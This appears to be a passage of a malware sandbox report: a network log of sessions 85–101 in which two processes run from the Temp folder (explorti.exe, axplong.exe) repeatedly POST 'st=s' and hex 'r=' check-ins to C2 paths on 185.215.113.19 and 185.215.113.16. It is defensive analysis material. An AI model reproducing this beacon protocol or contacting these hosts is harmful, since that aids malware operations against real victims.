Jul 27, 2024 03:20:32.271749020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49841	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:32.286742926 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:33.048487902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49842	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:32.648462057 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:33.393619061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:33.394517899 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:33.641338110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49843	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:33.176317930 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:33.922880888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49845	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:33.757648945 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:34.495685101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:34.496546030 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:34.741640091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49846	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:33.931534052 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:34.699843884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49847	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:34.824923992 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:35.574098110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49848	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:34.862883091 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:35.617975950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:35.622747898 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:35.870985985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49849	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:35.581734896 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:36.338706970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49850	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:35.990345955 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:36.730024099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:36.731262922 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:36.980292082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49851	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:36.454335928 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:37.194808960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49852	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:37.097985983 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:37.856251001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:37.864379883 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:38.111358881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49853	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:37.204583883 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:37.967103958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49854	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:38.085639000 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:38.852018118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49855	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:38.225186110 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:38.982984066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:38.987852097 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:39.236790895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49856	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:38.860639095 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:39.610512972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49857	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:39.352376938 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:40.106664896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:40.107601881 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:40.357141972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49858	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:39.745925903 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
